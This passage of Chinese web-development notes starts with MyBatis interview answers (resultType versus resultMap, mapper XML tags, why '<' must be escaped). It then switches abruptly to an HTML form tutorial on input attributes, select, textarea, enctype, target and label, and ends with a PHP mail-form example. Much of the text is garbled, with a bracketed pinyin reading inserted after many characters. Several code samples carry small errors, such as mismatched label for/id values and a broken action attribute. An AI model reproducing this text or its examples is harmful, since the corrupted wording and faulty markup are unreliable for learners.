resultType:當(dāng)使用resultType做SQL語句返回結(jié)果類型處理時(shí),對于SQL語句查詢出的字段在相應(yīng)的pojo中必須有和它相同的字段對應(yīng),而resultType中的內(nèi)容就是pojo在本項(xiàng)目中的位置。
resultMap:當(dāng)使用resultMap做SQL語句返回結(jié)果類型處理時(shí),通常需要先在mapper.xml中定義resultMap進(jìn)行pojo和相應(yīng)表字段的對應(yīng)關(guān)系。然后再使用resultMap。
(5)Mybatis xml映射文件中,除了常見的select、insert、updae、delete標(biāo)簽之外,還有哪些標(biāo)簽及其作用?
除了這四個(gè)標(biāo)簽,還有<resultMap>、<parameterMap>、<sql>、<include>、<selectKey>,一個(gè)9個(gè)標(biāo)簽,其中<sql>為sql片段標(biāo)簽,通過<include>標(biāo)簽引入sql片段,<selectKey>為不支持自增的主鍵生成策略標(biāo)簽。
(6)為什么說Mybatis是半自動(dòng)ORM映射工具?它與全自動(dòng)的區(qū)別在哪里?
hibernate對很多數(shù)據(jù)庫的操作已經(jīng)進(jìn)行了封裝,hibernate操作對象時(shí),比如往數(shù)據(jù)庫添加一條記錄,直接save就可以了。(Hibernate屬于全自動(dòng)ORM映射工具,使用Hibernate查詢關(guān)聯(lián)對象或者關(guān)聯(lián)集合對象時(shí),可以根據(jù)對象關(guān)系模型直接獲取),而Mybatis在查詢關(guān)聯(lián)對象或關(guān)聯(lián)集合對象時(shí),需要手動(dòng)編寫sql來完成,雖然現(xiàn)在已經(jīng)有不少程序可以自動(dòng)生成xml文件,但還是需要自己調(diào)整sql,所以稱之為半自動(dòng)ORM映射工具。這也從側(cè)面可以看出hibernate的拓展性不如Mybatis(hibernate做了很多封裝)。
(7)mybatis 為什么大于不用轉(zhuǎn)義,小于必須轉(zhuǎn)義?
mybatis不支持“<”,本質(zhì)是xml不支持這個(gè)符號(hào),<會(huì)引起xml格式的錯(cuò)誤,xml文件中的標(biāo)簽是 <…> 這種形式的, 所以當(dāng)出現(xiàn) “<” 號(hào)時(shí), 會(huì)認(rèn)為是一個(gè)標(biāo)簽的開始。
單屬性匯總:
1 name屬性
服務(wù)器會(huì)識(shí)別不同的name屬性,并根據(jù)name屬性來捕獲不同元素內(nèi)的數(shù)據(jù)。
2 value屬性
value 屬性為 input 元素設(shè)定值。
對于不同的輸入類型,value 屬性的用法也不同:
type="button", "reset", "submit" - 定義按鈕上的顯示的文本
type="text", "password", "hidden" - 定義輸入字段的初始值
type="checkbox", "radio", "image" - 定義與輸入相關(guān)聯(lián)的值
注釋:<input type="checkbox"> 和 <input type="radio"> 中必須設(shè)置 value 屬性。
注釋:value 屬性無法與 <input type="file"> 一同使用。
注意:單選框和復(fù)選框傳遞數(shù)據(jù)到數(shù)據(jù)庫時(shí)一定要設(shè)置value, 否則插入數(shù)據(jù)失敗;
3 type屬性
它決定了<input>標(biāo)簽在頁面中的表現(xiàn)樣式和功能
text 文本框
password 密碼框
radio 單選框
checkbox 復(fù)選框
file 文件域
hidden 隱藏域
image 圖像域
submit 提交按鈕
reset 重置按鈕
button 普通按鈕
4 size屬性
列表框中size屬性用來設(shè)置列表框顯示的行數(shù);
文本框和密碼框會(huì)使用size屬性設(shè)置域的顯示寬度;
5 disabled屬性
定義disabled屬性可以禁止使用該元素;
無法將數(shù)據(jù)提交到服務(wù)器處理;
6 readonly屬性
常用在輸入性表單對象中(如文本框、密碼框、文本區(qū)域),用來禁止輸入任何信息;
可以將數(shù)據(jù)提交到服務(wù)器處理;
7 checked屬性
它與disabled屬性一樣沒有屬性值,常用在選擇性表單對象中,定義對象處于被選中狀態(tài)(如單選按鈕和復(fù)選框)
但在列表框或者下拉式菜單中,為了表示被選中的項(xiàng)目,可使用selected屬性;
7 placeholder屬性
規(guī)定幫助用戶填寫輸入字段的提示。
表單對象:
1 文本框
<input type="text" name="textfield" id="textfield" value="單行文本框" size="20" maxlength="20">
必需的屬性:name type
2 密碼域
<input type="password" name="passwordfield" id="passwordfield">
必需的屬性:name type
3 文本域
<textarea name="textarea" cols="20" rows="5" wrap="physical"></textarea>
必需的屬性:name cols rows
wrap屬性 默認(rèn)值:輸入的文本會(huì)自動(dòng)換行。當(dāng)數(shù)據(jù)提交到服務(wù)器被處理時(shí), 換行符不會(huì)隨輸入的文本一同被提交到服務(wù)器;
off(也可寫成wrap):不自動(dòng)換行, 當(dāng)輸入的內(nèi)容超出文本區(qū)域右邊界時(shí), 文本將向左滾動(dòng), 并顯示滾動(dòng)條。
如果希望換行,必須手動(dòng)輸入回車鍵才能將插入點(diǎn)移到下一行;
virtual:文本能夠自動(dòng)換行, 當(dāng)數(shù)據(jù)提交到服務(wù)器被處理時(shí), 換行符不會(huì)隨輸入文本一同提交到服務(wù)器;(默認(rèn)值)
physical:文本能夠自動(dòng)換行, 當(dāng)數(shù)據(jù)提交到服務(wù)器被處理時(shí), 換行符將會(huì)隨輸入的文本一同被提交到服務(wù)器進(jìn)行處理;
關(guān)于如何限制文本域輸入字符串的長度 見javascript|語法|設(shè)置文本框
HTML5中wrap中屬性值修改為hard|soft
soft 當(dāng)在表單中提交時(shí), textarea 中的文本不換行, 默認(rèn)值。
hard 當(dāng)在表單中提交時(shí), textarea 中的文本換行(包含換行符)。
當(dāng)使用 "hard" 時(shí), 必須規(guī)定 cols 屬性
4 單選按鈕
單選按鈕傳遞的信息簡單,如1或0、True或False。
<input type="radio" name="radio" value="1"/>選項(xiàng)1
<input type="radio" name="radio" value="2"/>選項(xiàng)2
<input type="radio" name="radio" value="3"/>選項(xiàng)3
多個(gè)單選按鈕通過定義相同的name屬性, 以實(shí)現(xiàn)捆綁在一起;
必需的屬性:type name value
5 復(fù)選框
<input type="checkbox" name="checkbox[]" value="1"/>選項(xiàng)2
<input type="checkbox" name="checkbox[]" value="2"/>選項(xiàng)2
<input type="checkbox" name="checkbox[]" value="3"/>選項(xiàng)2
通過設(shè)置相同的name屬性可以把多個(gè)復(fù)選框捆綁在一起;
必需的屬性:type name value
6 列表框/下拉菜單
<select name="select" size=1>
<option value="1">1</option>
<option value="2" selected="selected">2</option>
<option value="3">3</option>
</select>
如果select元素中不設(shè)置size屬性,則該元素會(huì)顯示為下拉菜單樣式
<select name="select" size="1" multiple="multiple">
<option value="1">1</option>
<option value="2" selected="selected">2</option>
<option value="3">3</option>
</select>
如果希望以列表框形式顯示,則可以使用size屬性指定列表框的高度(顯示幾個(gè)選項(xiàng));
還可以通過mutiple屬性定義列表框是否為多選(默認(rèn)是單選);
通過<optgroup>標(biāo)簽把相關(guān)的選項(xiàng)組合在一起:
<select>
<optgroup label="PHP版塊">
<option value ="resource">資源共享</option>
<option value ="study">學(xué)習(xí)交流</option>
<option value ="salary">薪酬待遇</option>
</optgroup>
<optgroup label="IOS版塊">
<option value ="resource">資源共享</option>
<option value ="study">學(xué)習(xí)交流</option>
<option value ="salary">薪酬待遇</option>
</optgroup>
</select>
注意:其中PHP版塊和IOS版塊不能被選中
所有主流瀏覽器都支持 <optgroup> 標(biāo)簽。
7 文件域
<input type="file" name="file"/>
<input type="file" name="file" multiple/>
8 按鈕
提交按鈕
<input type="submit" name="" value="提交"/>
name值必須給出
重置按鈕
<input type="reset" name="" value="重置"/>
普通按鈕
<input type="button" name="" value="普通按鈕"/>
它一般是配合javascript來使用;
關(guān)于控制表單提交按鈕見: javascript|語法|控制表單提交
9 圖像域
<input type="image" name="image" value="提交" src="images/vote_d.gif" alt="提交" align="middle"/>
10 隱藏域
限制上傳文件大小
<input type="hidden" name="MAX_FILE_SIZE" value="1000000" />
傳遞ID值
<input type="hidden" name="id" value="<?php echo $result['id'];?>" />
11 button標(biāo)簽
在 button 元素內(nèi)部,您可以放置內(nèi)容,比如文本或圖像。這是該元素與使用 input 元素創(chuàng)建的按鈕之間的不同之處。
<button type="button" name="button" value="按鈕"><img src="hw001.jpeg"/></button>
普通按鈕<button type="button">普通按鈕</button> 它一般是配合javascript來使用, 默認(rèn)值
提交按鈕<button type="submit">提交按鈕</button>
重置按鈕<button type="reset">重置按鈕</button>
提交表單
enctype屬性
該屬性包含兩種方式:
application/x-www-form-urlencoded 是默認(rèn)編碼類型
multipart/form-data
multipart/form-data編碼方式可以用來傳輸二進(jìn)制數(shù)據(jù)或者非ASCII字符的文本(如圖片、不同格式的文件等),上傳文件必須使用此屬性
multipart: 多部件的
multiple: 多重的
text/plain
text/plain將表單屬性發(fā)送到電子郵箱時(shí),enctype的值必須設(shè)為"text/plain",否則將會(huì)出現(xiàn)亂碼。
發(fā)送電子郵件的表單程序
<form name="form1" method="post" action="mailto:marker@broadview.com.cn" enctype="text/plain">
</form>
action 表單提交的腳本
如果傳遞到本頁面,則直接輸入控制 action=""
表單提交方式method:post/get
<form action="test.php?id=5" method="post" >
name: <input type="text" name="name" value="100">
</form>
id=5是get傳, name="100" 是post傳! //高洛峰解釋
action="" 表示傳遞到當(dāng)前腳本文件
target 指定提交到哪一個(gè)窗口
_blank 打開新窗口
_self 當(dāng)前的窗口,默認(rèn)值
_parent 上一層窗口
_top 最上層窗口
框架名稱 指定指定窗口或框架名稱
label標(biāo)簽
作用: 擴(kuò)大觸控區(qū)域, 為了提升用戶體驗(yàn), 點(diǎn)擊文字也能選中表單
<form action=" method="get" accept-charset="utf-8">
<label>電子郵箱: <input type="text" name="email" value="" placeholder="請輸入電子郵箱"/></label><br/>
<label>密碼: <input type="password" name="password"/></label><br/>
<label for="address">地址</label>
<input type="text" name="address" id="address" placeholder="請輸入地址" />
</form>
for與id一致
<input type="radio" id="sec" name="sex"> <label for="sex">男</label>
簡化寫法:
<label><input type="checkbox"/>周杰倫-晴天</label>
注意: "for" 屬性可把 label 綁定到另外一個(gè)元素。請把"for"屬性的值設(shè)置為相關(guān)元素的 id 屬性的值。
PHP實(shí)例:創(chuàng)建發(fā)送郵件信息的html表單
代碼:
<html>
<head>
<title>簡單郵件發(fā)送表單</title>
</head>
<body>
<h1>Mail Form</h1>
<form name="form1" method="post" action="simpleEmail.php">
<table>
<tr><td><b>To</b></td><td><input type="text" name="mailto" size="35"></td></tr>
<tr><td><b>郵件主題:</b></td>
<td><input type="text" name="mailsubject" size="35"></td></tr>
<tr><td><b>郵件內(nèi)容</b></td>
<td><textarea name="mailbody" cols="50" rows="7"></textarea></td>
</tr>
<tr><td colspan="2">
<input type="submit" name="Submit" value="發(fā)送">
</td>
</tr>
</table>
</form>
</body>
</html>
simpleEmail.php
*請認(rèn)真填寫需求信息,我們會(huì)在24小時(shí)內(nèi)與您取得聯(lián)系。